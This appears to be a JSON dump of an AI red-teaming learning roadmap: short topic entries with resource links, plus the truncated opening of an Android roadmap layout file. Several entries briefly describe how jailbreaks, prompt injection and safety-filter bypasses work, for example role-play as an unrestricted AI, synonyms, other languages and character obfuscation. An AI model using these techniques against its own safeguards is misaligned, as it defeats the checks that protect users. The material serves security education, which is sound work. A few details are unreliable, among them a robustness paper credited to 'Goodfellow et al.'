    "content": "# Insecure Deserialization\n\nAI Red Teamers investigate if serialized objects used by the AI system (e.g., for saving model states, configurations, or transmitting data) can be manipulated by an attacker. They test if crafting malicious serialized objects could lead to remote code execution or other exploits when the application deserializes the untrusted data.\n\nLearn more from the following resources:\n\n- [@article@Lightboard Lessons: OWASP Top 10 - Insecure Deserialization](https://community.f5.com/kb/technicalarticles/lightboard-lessons-owasp-top-10---insecure-deserialization/281509)\n- [@article@How Hugging Face Was Ethically Hacked](https://www.aiblade.net/p/how-hugging-face-was-ethically-hacked)\n- [@article@OWASP TOP 10: Insecure Deserialization](https://blog.detectify.com/best-practices/owasp-top-10-insecure-deserialization/)\n- [@guide@Insecure Deserialization](https://owasp.org/www-community/vulnerabilities/Insecure_Deserialization)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/introduction@HFJIYcI16OMyM77fAw9af.md",
    "content": "# Introduction\n\nAI Red Teaming is the practice of simulating adversarial attacks against AI systems to proactively identify vulnerabilities, potential misuse scenarios, and failure modes before malicious actors do. Distinct from traditional cybersecurity red teaming, it focuses on the unique attack surfaces of AI models, such as prompt manipulation, data poisoning, model extraction, and evasion techniques. The primary goal for an AI Red Teamer is to test the robustness, safety, alignment, and fairness of AI systems, particularly complex ones like LLMs, by adopting an attacker's mindset to uncover hidden flaws and provide actionable feedback for improvement.\n\nLearn more from the following resources:\n\n- [@article@A Guide to AI Red Teaming](https://hiddenlayer.com/innovation-hub/a-guide-to-ai-red-teaming/)\n- [@article@What is AI Red Teaming? (Learn Prompting)](https://learnprompting.org/blog/what-is-ai-red-teaming)\n- [@article@What is AI Red Teaming? The Complete Guide](https://mindgard.ai/blog/what-is-ai-red-teaming)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/jailbreak-techniques@Ds8pqn4y9Npo7z6ubunvc.md",
    "content": "# Jailbreak Techniques\n\nJailbreaking is a specific category of prompt hacking where the AI Red Teamer aims to bypass the LLM's safety and alignment training. They use techniques like creating fictional scenarios, asking the model to simulate an unrestricted AI, or using complex instructions to trick the model into generating content that violates its own policies (e.g., generating harmful code, hate speech, or illegal instructions).\n\nLearn more from the following resources:\n\n- [@guide@InjectPrompt](https://injectprompt.com)\n- [@guide@Jailbreaking Guide - Learn Prompting](https://learnprompting.org/docs/prompt_hacking/jailbreaking)\n- [@paper@Jailbroken: How Does LLM Safety Training Fail? (arXiv)](https://arxiv.org/abs/2307.02483)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/lab-environments@MmwwRK4I9aRH_ha7duPqf.md",
    "content": "# Lab Environments\n\nAI Red Teamers need environments to practice attacking vulnerable systems safely. While traditional labs (HTB, THM, VulnHub) build general pentesting skills, platforms are emerging with labs specifically focused on AI/LLM vulnerabilities, prompt injection, or adversarial ML challenges.\n\nLearn more from the following resources:\n\n- [@platform@HackAPrompt Playground](https://learnprompting.org/hackaprompt-playground)\n- [@platform@InjectPrompt Playground](https://playground.injectprompt.com/)\n- [@platform@Gandalf AI Prompt Injection Lab](https://gandalf.lakera.ai/)\n- [@platform@Hack The Box: Hacking Labs](https://www.hackthebox.com/hacker/hacking-labs)\n- [@platform@TryHackMe: Learn Cyber Security](https://tryhackme.com/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/large-language-models@8K-wCn2cLc7Vs_V4sC3sE.md",
    "content": "# Large Language Models\n\nLLMs are a primary target for AI Red Teaming. Understanding their architecture (often Transformer-based), training processes (pre-training, fine-tuning), and capabilities (text generation, summarization, Q&A) is essential for identifying vulnerabilities like prompt injection, jailbreaking, data regurgitation, and emergent harmful behaviors specific to these large-scale models.\n\nLearn more from the following resources:\n\n- [@article@What is an LLM (large language model)?](https://www.cloudflare.com/learning/ai/what-is-large-language-model/)\n- [@guide@ChatGPT For Everyone](https://learnprompting.org/courses/chatgpt-for-everyone)\n- [@guide@What Are Large Language Models? A Beginner's Guide for 2025](https://www.kdnuggets.com/large-language-models-beginners-guide-2025)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/llm-security-testing@xJYTRbPxMn0Xs5ea0Ygn6.md",
    "content": "# LLM Security Testing\n\nThe core application area for many AI Red Teamers today involves specifically testing Large Language Models for vulnerabilities like prompt injection, jailbreaking, harmful content generation, bias, and data privacy issues using specialized prompts and evaluation frameworks.\n\nLearn more from the following resources:\n\n- [@course@AI Red Teaming Courses - Learn Prompting](https://learnprompting.org/blog/ai-red-teaming-courses)\n- [@dataset@SecBench: A Comprehensive Multi-Dimensional Benchmarking Dataset for LLMs in Cybersecurity](https://arxiv.org/abs/2412.20787)\n- [@guide@The Ultimate Guide to Red Teaming LLMs and Adversarial Prompts (Kili Technology)](https://kili-technology.com/large-language-models-llms/red-teaming-llms-and-adversarial-prompts)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/model-inversion@iE5PcswBHnu_EBFIacib0.md",
    "content": "# Model Inversion\n\nAI Red Teamers perform model inversion tests to assess if an attacker can reconstruct sensitive training data (like images, text snippets, or personal attributes) by repeatedly querying the model and analyzing its outputs. Success indicates privacy risks due to data memorization, requiring mitigation techniques like differential privacy or output filtering.\n\nLearn more from the following resources:\n\n- [@article@Model inversion and membership inference: Understanding new AI security risks](https://www.hoganlovells.com/en/publications/model-inversion-and-membership-inference-understanding-new-ai-security-risks-and-mitigating-vulnerabilities)\n- [@paper@Extracting Training Data from LLMs (arXiv)](https://arxiv.org/abs/2012.07805)\n- [@paper@Model Inversion Attacks: A Survey of Approaches and Countermeasures](https://arxiv.org/html/2411.10023v1)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/model-vulnerabilities@uBXrri2bXVsNiM8fIHHOv.md",
    "content": "# Model Vulnerabilities\n\nThis category covers attacks and tests targeting the AI model itself, beyond the prompt interface. AI Red Teamers investigate inherent weaknesses in the model's architecture, training data artifacts, or prediction mechanisms, such as susceptibility to data extraction, poisoning, or adversarial manipulation.\n\nLearn more from the following resources:\n\n- [@article@AI Security Risks Uncovered: What You Must Know in 2025](https://ttms.com/uk/ai-security-risks-explained-what-you-need-to-know-in-2025/)\n- [@article@Weaknesses in Modern AI](https://insights.sei.cmu.edu/blog/weaknesses-and-vulnerabilities-in-modern-ai-why-security-and-safety-are-so-challenging/)\n- [@report@AI and ML Vulnerabilities (CNAS Report)](https://www.cnas.org/publications/reports/understanding-and-mitigating-ai-vulnerabilities)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/model-weight-stealing@QFzLx5nc4rCCD8WVc20mo.md",
    "content": "# Model Weight Stealing\n\nAI Red Teamers assess the risk of attackers reconstructing or stealing the proprietary weights of a trained model, often through API query-based attacks. Testing involves simulating such attacks to understand how easily the model's functionality can be replicated, which informs defenses like query rate limiting, watermarking, or differential privacy.\n\nLearn more from the following resources:\n\n- [@article@A Playbook for Securing AI Model Weights](https://www.rand.org/pubs/research_briefs/RBA2849-1.html)\n- [@article@How to Steal a Machine Learning Model (SkyCryptor)](https://skycryptor.com/blog/how-to-steal-a-machine-learning-model)\n- [@paper@On the Limitations of Model Stealing with Uncertainty Quantification Models](https://openreview.net/pdf?id=ONRFHoUzNk)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/monitoring-solutions@59lkLcoqV4gq7f8Zm0X2p.md",
    "content": "# Monitoring Solutions\n\nAI Red Teamers interact with monitoring tools primarily to test their effectiveness (evasion) or potentially exploit vulnerabilities within them. Understanding tools like IDS (Snort, Suricata), network analyzers (Wireshark), and SIEMs helps red teamers simulate attacks that might bypass or target these defensive systems.\n\nLearn more from the following resources:\n\n- [@article@Open Source IDS Tools: Comparing Suricata, Snort, Bro (Zeek), Linux](https://levelblue.com/blogs/security-essentials/open-source-intrusion-detection-tools-a-quick-overview)\n- [@tool@Snort](https://www.snort.org/)\n- [@tool@Suricata](https://suricata.io/)\n- [@tool@Wireshark](https://www.wireshark.org/)\n- [@tool@Zeek (formerly Bro)](https://zeek.org/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/neural-networks@RuKzVhd1nZphCrlW1wZGL.md",
    "content": "# Neural Networks\n\nUnderstanding neural network architectures (layers, nodes, activation functions) is vital for AI Red Teamers. This knowledge allows for targeted testing, such as crafting adversarial examples that exploit specific activation functions or identifying potential vulnerabilities related to network depth or connectivity. It provides insight into the 'black box' for more effective white/grey-box testing.\n\nLearn more from the following resources:\n\n- [@guide@Neural Networks Explained: A Beginner's Guide](https://www.skillcamper.com/blog/neural-networks-explained-a-beginners-guide)\n- [@guide@Neural networks | Machine Learning](https://developers.google.com/machine-learning/crash-course/neural-networks)\n- [@paper@Red Teaming with Artificial Intelligence-Driven Cyberattacks: A Scoping Review](https://arxiv.org/html/2503.19626)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/prompt-engineering@gx4KaFqKgJX9n9_ZGMqlZ.md",
    "content": "# Prompt Engineering\n\nFor AI Red Teamers, prompt engineering is both a tool and a target. It's a tool for crafting inputs to test model boundaries and vulnerabilities (e.g., creating jailbreak prompts). It's a target because understanding how prompts influence LLMs is key to identifying prompt injection vulnerabilities and designing defenses. Mastering prompt design is fundamental to effective LLM red teaming.\n\nLearn more from the following resources:\n\n- [@article@System Prompts - InjectPrompt](https://www.injectprompt.com/t/system-prompts)\n- [@course@Introduction to Prompt Engineering](https://learnprompting.org/courses/intro-to-prompt-engineering)\n- [@guide@The Ultimate Guide to Red Teaming LLMs and Adversarial Prompts (Kili Technology)](https://kili-technology.com/large-language-models-llms/red-teaming-llms-and-adversarial-prompts)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/prompt-hacking@1Xr7mxVekeAHzTL7G4eAZ.md",
    "content": "# Prompt Hacking\n\nPrompt hacking is a core technique for AI Red Teamers targeting LLMs. It involves crafting inputs (prompts) to manipulate the model into bypassing safety controls, revealing hidden information, or performing unintended actions. Red teamers systematically test various prompt hacking methods (like jailbreaking, role-playing, or instruction manipulation) to assess the LLM's resilience against adversarial user input.\n\nLearn more from the following resources:\n\n- [@course@Introduction to Prompt Hacking](https://learnprompting.org/courses/intro-to-prompt-hacking)\n- [@guide@Prompt Hacking Guide](https://learnprompting.org/docs/prompt_hacking/introduction)\n- [@paper@SoK: Prompt Hacking of LLMs (arXiv 2023)](https://arxiv.org/abs/2311.05544)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/prompt-injection@XOrAPDRhBvde9R-znEipH.md",
    "content": "# Prompt Injection\n\nPrompt injection is a critical vulnerability tested by AI Red Teamers. They attempt to insert instructions into the LLM's input that override its intended system prompt or task, causing it to perform unauthorized actions, leak data, or generate malicious output. This tests the model's ability to distinguish trusted instructions from potentially harmful user/external input.\n\nLearn more from the following resources:\n\n- [@article@Prompt Injection & the Rise of Prompt Attacks](https://www.lakera.ai/blog/guide-to-prompt-injection)\n- [@article@Prompt Injection (Learn Prompting)](https://learnprompting.org/docs/prompt_hacking/injection)\n- [@article@Prompt Injection Attack Explanation (IBM)](https://research.ibm.com/blog/prompt-injection-attacks-against-llms)\n- [@article@Prompt Injection: Impact, How It Works & 4 Defense Measures](https://www.tigera.io/learn/guides/llm-security/prompt-injection/)\n- [@course@Advanced Prompt Hacking - Learn Prompting](https://learnprompting.org/courses/advanced-prompt-hacking)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/red-team-simulations@DpYsL0du37n40toH33fIr.md",
    "content": "# Red Team Simulations\n\nParticipating in or conducting structured red team simulations against AI systems (or components) provides the most realistic practice. This involves applying methodologies, TTPs (Tactics, Techniques, and Procedures), reconnaissance, exploitation, and reporting within a defined scope and objective, specifically targeting AI vulnerabilities.\n\nLearn more from the following resources:\n\n- [@guide@A Simple Guide to Successful Red Teaming](https://www.cobaltstrike.com/resources/guides/a-simple-guide-to-successful-red-teaming)\n- [@guide@The Complete Guide to Red Teaming: Process, Benefits & More](https://mindgard.ai/blog/red-teaming)\n- [@guide@The Complete Red Teaming Checklist [PDF]: 5 Key Steps - Mindgard AI](https://mindgard.ai/blog/red-teaming-checklist)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/reinforcement-learning@Xqzc4mOKsVzwaUxLGjHya.md",
    "content": "# Reinforcement Learning\n\nRed teaming RL-based AI systems involves testing for vulnerabilities such as reward hacking (exploiting the reward function to induce unintended behavior), unsafe exploration (agent takes harmful actions during learning), or susceptibility to adversarial perturbations in the environment's state. Understanding the agent's policy and value functions is crucial for designing effective tests against RL agents.\n\nLearn more from the following resources:\n\n- [@article@Resources to Learn Reinforcement Learning](https://towardsdatascience.com/best-free-courses-and-resources-to-learn-reinforcement-learning-ed6633608cb2/)\n- [@article@What is reinforcement learning?](https://online.york.ac.uk/resources/what-is-reinforcement-learning/)\n- [@course@Deep Reinforcement Learning Course by HuggingFace](https://huggingface.co/learn/deep-rl-course/unit0/introduction)\n- [@paper@Diverse and Effective Red Teaming with Auto-generated Rewards and Multi-step Reinforcement Learning](https://arxiv.org/html/2412.18693v1)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/remote-code-execution@kgDsDlBk8W2aM6LyWpFY8.md",
    "content": "# Remote Code Execution\n\nAI Red Teamers attempt to achieve RCE on systems hosting or interacting with AI models. This could involve exploiting vulnerabilities in the AI framework itself, the web server, connected APIs, or tricking an AI agent with code execution capabilities into running malicious commands provided via prompts. RCE is often the ultimate goal of exploiting other vulnerabilities like code injection or insecure deserialization.\n\nLearn more from the following resources:\n\n- [@article@Exploiting LLMs with Code Execution (GitHub Gist)](https://gist.github.com/coolaj86/6f4f7b30129b0251f61fa7baaa881516)\n- [@article@What is remote code execution?](https://www.cloudflare.com/learning/security/what-is-remote-code-execution/)\n  \n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/reporting-tools@BLnfNlA0C4yzy1dvifjwx.md",
    "content": "# Reporting Tools\n\nAI Red Teamers use reporting techniques and potentially tools to clearly document their findings, including discovered vulnerabilities, successful exploit steps (e.g., effective prompts), assessed impact, and actionable recommendations tailored to AI systems. Good reporting translates technical findings into understandable risks for stakeholders.\n\nLearn more from the following resources:\n\n- [@article@The Complete Red Teaming Checklist [PDF]: 5 Key Steps - Mindgard AI](https://mindgard.ai/blog/red-teaming-checklist)\n- [@guide@Penetration Testing Report: 6 Key Sections and 4 Best Practices](https://brightsec.com/blog/penetration-testing-report/)\n- [@guide@Penetration testing best practices: Strategies for all test types](https://www.strikegraph.com/blog/pen-testing-best-practices)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/research-groups@ZlR03pM-sqVFZNhD1gMSJ.md",
    "content": "# Research Groups\n\nFollowing and potentially contributing to research groups at universities (like CMU, Stanford, Oxford), non-profits (like OpenAI, Anthropic), or government bodies (like UK's AISI) focused on AI safety, security, and alignment provides deep insights into emerging threats and mitigation strategies relevant to AI Red Teaming.\n\nLearn more from the following resources:\n\n- [@group@AI Cybersecurity | Global Cyber Security Capacity Centre (Oxford)](https://gcscc.ox.ac.uk/ai-security)\n- [@group@Anthropic Research](https://www.anthropic.com/research)\n- [@group@Center for AI Safety](https://www.safe.ai/)\n- [@group@The AI Security Institute (AISI)](https://www.aisi.gov.uk/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/research-opportunities@VmaIHVsCpq2um_0cA33V3.md",
    "content": "# Research Opportunities\n\nAI Red Teaming relies on ongoing research. Key areas needing further investigation include scalable methods for finding elusive vulnerabilities, understanding emergent behaviors in complex models, developing provable safety guarantees, creating better benchmarks for AI security, and exploring the socio-technical aspects of AI misuse and defense.\n\nLearn more from the following resources:\n\n- [@article@Cutting-Edge Research on AI Security bolstered with new Challenge Fund](https://www.gov.uk/government/news/cutting-edge-research-on-ai-security-bolstered-with-new-challenge-fund-to-ramp-up-public-trust-and-adoption)\n- [@research@Careers | The AI Security Institute (AISI)](https://www.aisi.gov.uk/careers)\n- [@research@Research - Anthropic](https://www.anthropic.com/research)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/responsible-disclosure@KAcCZ3zcv25R6HwzAsfUG.md",
    "content": "# Responsible Disclosure\n\nA critical practice for AI Red Teamers is responsible disclosure: privately reporting discovered AI vulnerabilities (e.g., a successful jailbreak, data leak method, or severe bias) to the model developers or system owners, allowing them time to remediate before any public discussion, thus preventing malicious exploitation.\n\nLearn more from the following resources:\n\n- [@guide@0din.ai Policy](https://0din.ai/policy)\n- [@guide@Huntr Guidelines](https://huntr.com/guidelines)\n- [@policy@Google Vulnerability Reward Program (VRP)](https://bughunters.google.com/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/risk-management@MupRvk_8Io2Hn7yEvU663.md",
    "content": "# Risk Management\n\nAI Red Teamers contribute to the AI risk management process by identifying and demonstrating concrete vulnerabilities. Findings from red team exercises inform risk assessments, helping organizations understand the likelihood and potential impact of specific AI threats and prioritize resources for mitigation based on demonstrated exploitability.\n\nLearn more from the following resources:\n\n- [@framework@NIST AI Risk Management Framework](https://www.nist.gov/itl/ai-risk-management-framework)\n- [@guide@A Beginner's Guide to Cybersecurity Risks and Vulnerabilities](https://online.champlain.edu/blog/beginners-guide-cybersecurity-risk-management)\n- [@guide@Cybersecurity Risk Management: Frameworks, Plans, and Best Practices](https://hyperproof.io/resource/cybersecurity-risk-management-process/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/robust-model-design@6gEHMhh6BGJI-ZYN27YPW.md",
    "content": "# Robust Model Design\n\nAI Red Teamers assess whether choices made during model design (architecture selection, regularization techniques, ensemble methods) effectively contribute to robustness against anticipated attacks. They test if these design choices actually prevent common failure modes identified during threat modeling.\n\nLearn more from the following resources:\n\n- [@article@Model Robustness: Building Reliable AI Models](https://encord.com/blog/model-robustness-machine-learning-strategies/)\n- [@article@Understanding Robustness in Machine Learning](https://www.alooba.com/skills/concepts/machine-learning/robustness/)\n- [@paper@Towards Evaluating the Robustness of Neural Networks (arXiv by Goodfellow et al.)](https://arxiv.org/abs/1608.04644)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/role-of-red-teams@Irkc9DgBfqSn72WaJqXEt.md",
    "content": "# Role of Red Teams\n\nThe role of an AI Red Team is to rigorously challenge AI systems from an adversarial perspective. They design and execute tests to uncover vulnerabilities related to the model's logic, data dependencies, prompt interfaces, safety alignments, and interactions with surrounding infrastructure. They provide detailed reports on findings, potential impacts, and remediation advice, acting as a critical feedback loop for AI developers and stakeholders to improve system security and trustworthiness before and after deployment.\n\nLearn more from the following resources:\n\n- [@article@The Complete Guide to Red Teaming: Process, Benefits & More](https://mindgard.ai/blog/red-teaming)\n- [@article@The Complete Red Teaming Checklist [PDF]: 5 Key Steps - Mindgard AI](https://mindgard.ai/blog/red-teaming-checklist)\n- [@article@Red Teaming in Defending AI Systems](https://protectai.com/blog/expanding-role-red-teaming-defending-ai-systems)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/safety-filter-bypasses@j7uLLpt8MkZ1rqM7UBPW4.md",
    "content": "# Safety Filter Bypasses\n\nAI Red Teamers specifically target the safety mechanisms (filters, guardrails) implemented within or around an AI model. They test techniques like using synonyms for blocked words, employing different languages, embedding harmful requests within harmless text, or using character-level obfuscation to evade detection and induce the model to generate prohibited content, thereby assessing the robustness of the safety controls.\n\nLearn more from the following resources:\n\n- [@article@Bypassing AI Content Filters](https://www.restack.io/p/ai-driven-content-moderation-answer-bypass-filters-cat-ai)\n- [@article@How to Bypass Azure AI Content Safety Guardrails](https://mindgard.ai/blog/bypassing-azure-ai-content-safety-guardrails)\n- [@article@The Best Methods to Bypass AI Detection: Tips and Techniques](https://www.popai.pro/resources/the-best-methods-to-bypass-ai-detection-tips-and-techniques/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/specialized-courses@s1xKK8HL5-QGZpcutiuvj.md",
    "content": "# Specialized Courses\n\nTargeted training is crucial for mastering AI Red Teaming. Look for courses covering adversarial ML, prompt hacking, LLM security, ethical hacking for AI, and specific red teaming methodologies applied to AI systems offered by platforms like Learn Prompting, Coursera, or security training providers.\n\nLearn more from the following resources:\n\n- [@course@AI Red Teaming Courses - Learn Prompting](https://learnprompting.org/blog/ai-red-teaming-courses)\n- [@course@AI Security | Coursera](https://www.coursera.org/learn/ai-security)\n- [@course@Free Online Cyber Security Courses with Certificates in 2025](https://www.eccouncil.org/cybersecurity-exchange/cyber-novice/free-cybersecurity-courses-beginners/)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/supervised-learning@NvOJIv36Utpm7_kOZyr79.md",
    "content": "# Supervised Learning\n\nAI Red Teamers analyze systems built using supervised learning to probe for vulnerabilities like susceptibility to adversarial examples designed to cause misclassification, sensitivity to data distribution shifts, or potential for data leakage related to the labeled training data. Understanding how these models learn input-output mappings is key to devising tests that challenge their learned boundaries.\n\nLearn more from the following resources:\n\n- [@article@AI and cybersecurity: a love-hate revolution](https://www.alter-solutions.com/en-us/articles/ai-cybersecurity-love-hate-revolution)\n- [@article@What Is Supervised Learning?](https://www.ibm.com/think/topics/supervised-learning)\n- [@article@What is Supervised Learning?](https://cloud.google.com/discover/what-is-supervised-learning)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/testing-platforms@c8n8FcYKDOgPLQvV9xF5J.md",
    "content": "# Testing Platforms\n\nPlatforms used by AI Red Teamers range from general penetration testing OS distributions like Kali Linux to specific AI red teaming tools/frameworks like Microsoft's PyRIT or Promptfoo, and vulnerability scanners like OWASP ZAP adapted for API testing of AI services. These platforms provide the toolsets needed to conduct assessments.\n\nLearn more from the following resources:\n\n- [@tool@AI Red Teaming Agent - Azure AI Foundry | Microsoft Learn](https://learn.microsoft.com/en-us/azure/ai-foundry/concepts/ai-red-teaming-agent)\n- [@tool@Kali Linux](https://www.kali.org/)\n- [@tool@OWASP Zed Attack Proxy (ZAP)](https://owasp.org/www-project-zap/)\n- [@tool@Promptfoo](https://www.promptfoo.dev/)\n- [@tool@PyRIT (Python Risk Identification Tool for generative AI)](https://github.com/Azure/PyRIT)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/threat-modeling@RDOaTBWP3aIJPUp_kcafm.md",
    "content": "# Threat Modeling\n\nAI Red Teams apply threat modeling to identify unique attack surfaces in AI systems, such as manipulating training data, exploiting prompt interfaces, attacking the model inference process, or compromising connected tools/APIs. Before attacking an AI system, red teamers perform threat modeling to map out possible adversaries (from curious users to state actors) and attack vectors, prioritizing tests based on likely impact and adversary capability.\n\nLearn more from the following resources:\n\n- [@article@Core Components of AI Red Team Exercises (Learn Prompting)](https://learnprompting.org/blog/what-is-ai-red-teaming)\n- [@guide@Threat Modeling Process](https://owasp.org/www-community/Threat_Modeling_Process)\n- [@guide@Threat Modeling](https://owasp.org/www-community/Threat_Modeling)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/unauthorized-access@DQeOavZCoXpF3k_qRDABs.md",
    "content": "# Unauthorized Access\n\nAI Red Teamers test if vulnerabilities in the AI system or its interfaces allow attackers to gain unauthorized access to data, functionalities, or underlying infrastructure. This includes attempting privilege escalation via prompts, exploiting insecure API endpoints connected to the AI, or manipulating the AI to access restricted system resources.\n\nLearn more from the following resources:\n\n- [@article@Defending Model Files from Unauthorized Access](https://developer.nvidia.com/blog/defending-ai-model-files-from-unauthorized-access-with-canaries/)\n- [@guide@OWASP API Security Project](https://owasp.org/www-project-api-security/)\n- [@article@Detecting Unauthorized Usage](https://www.unr.edu/digital-learning/instructional-strategies/understanding-and-integrating-generative-ai-in-teaching/how-can-i-detect-unauthorized-ai-usage)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/unsupervised-learning@ZC0yKsu-CJC-LZKKo2pLD.md",
    "content": "# Unsupervised Learning\n\nWhen red teaming AI systems using unsupervised learning (e.g., clustering algorithms), focus areas include assessing whether the discovered patterns reveal sensitive information, if the model can be manipulated to group data incorrectly, or if dimensionality reduction techniques obscure security-relevant features. Understanding these models helps identify risks associated with pattern discovery on unlabeled data.\n\nLearn more from the following resources:\n\n- [@article@How Unsupervised Learning Works with Examples](https://www.coursera.org/articles/unsupervised-learning)\n- [@article@Supervised vs. Unsupervised Learning: Which Approach is Best?](https://www.digitalocean.com/resources/articles/supervised-vs-unsupervised-learning)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/vulnerability-assessment@887lc3tWCRH-sOHSxWgWJ.md",
    "content": "# Vulnerability Assessment\n\nWhile general vulnerability assessment scans infrastructure, AI Red Teaming extends this to assess vulnerabilities specific to the AI model and its unique interactions. This includes probing for prompt injection flaws, testing for adversarial example robustness, checking for data privacy leaks, and evaluating safety alignment failures – weaknesses not typically found by standard IT vulnerability scanners.\n\nLearn more from the following resources:\n\n- [@article@AI red-teaming in critical infrastructure: Boosting security and trust in AI systems](https://www.dnv.com/article/ai-red-teaming-for-critical-infrastructure-industries/)\n- [@guide@The Ultimate Guide to Vulnerability Assessment](https://strobes.co/blog/guide-vulnerability-assessment/)\n- [@guide@Vulnerability Scanning Tools](https://owasp.org/www-community/Vulnerability_Scanning_Tools)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/white-box-testing@Mrk_js5UVn4dRDw-Yco3Y.md",
    "content": "# White Box Testing\n\nWhite-box testing in AI Red Teaming grants the tester full access to the model's internals (architecture, weights, training data, source code). This allows for highly targeted attacks, such as crafting precise adversarial examples using gradients, analyzing code for vulnerabilities, or directly examining training data for biases or PII leakage. It simulates insider threats or deep analysis scenarios.\n\nLearn more from the following resources:\n\n- [@article@Black-Box, Gray Box, and White-Box Penetration Testing](https://www.eccouncil.org/cybersecurity-exchange/penetration-testing/black-box-gray-box-and-white-box-penetration-testing-importance-and-uses/)\n- [@article@What is White Box Penetration Testing](https://www.getastra.com/blog/security-audit/white-box-penetration-testing/)\n- [@article@The Art of White Box Pentesting](https://infosecwriteups.com/cracking-the-code-the-art-of-white-box-pentesting-de296bc22c67)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/content/why-red-team-ai-systems@fNTb9y3zs1HPYclAmu_Wv.md",
    "content": "# Why Red Team AI Systems?\n\nAI systems introduce novel risks beyond traditional software, such as emergent unintended capabilities, complex failure modes, susceptibility to subtle data manipulations, and potential for large-scale misuse (e.g., generating disinformation). AI Red Teaming is necessary because standard testing methods often fail to uncover these unique AI vulnerabilities. It provides critical, adversary-focused insights needed to build genuinely safe, reliable, and secure AI before deployment.\n\nLearn more from the following resources:\n\n- [@course@Introduction to Prompt Hacking](https://learnprompting.org/courses/intro-to-prompt-hacking)\n- [@article@Prompt Hacking Offensive Measures](https://learnprompting.org/docs/prompt_hacking/offensive_measures/introduction)\n"
  },
  {
    "path": "src/data/roadmaps/ai-red-teaming/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/android/android.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"nNEnhtuqRQCkOtbeJh3ac\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 264.517263308397,\n        \"y\": 1783.4642040306956\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"jgadqKYuchjukSsYXvwf7\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 55,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 55\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 264.517263308397,\n        \"y\": 1783.4642040306956\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"jgadqKYuchjukSsYXvwf7\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 367.5894636012729,\n        \"y\": 1783.4642040306956\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 55,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 55\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 367.5894636012729,\n        \"y\": 1783.4642040306956\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"lpSzZRiNu_vB4yNiNK9Yy\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 577.4785985860897,\n        \"y\": 1759.8444806135112\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"oldId\": \"nNEnhtuqRQCkOtbeJh3ac\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 55,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 55\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 577.4785985860897,\n        \"y\": 1759.8444806135112\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 55\n      }\n    },\n    {\n      \"id\": \"TiI5E5awSHaz5ZhptOdZn\",\n    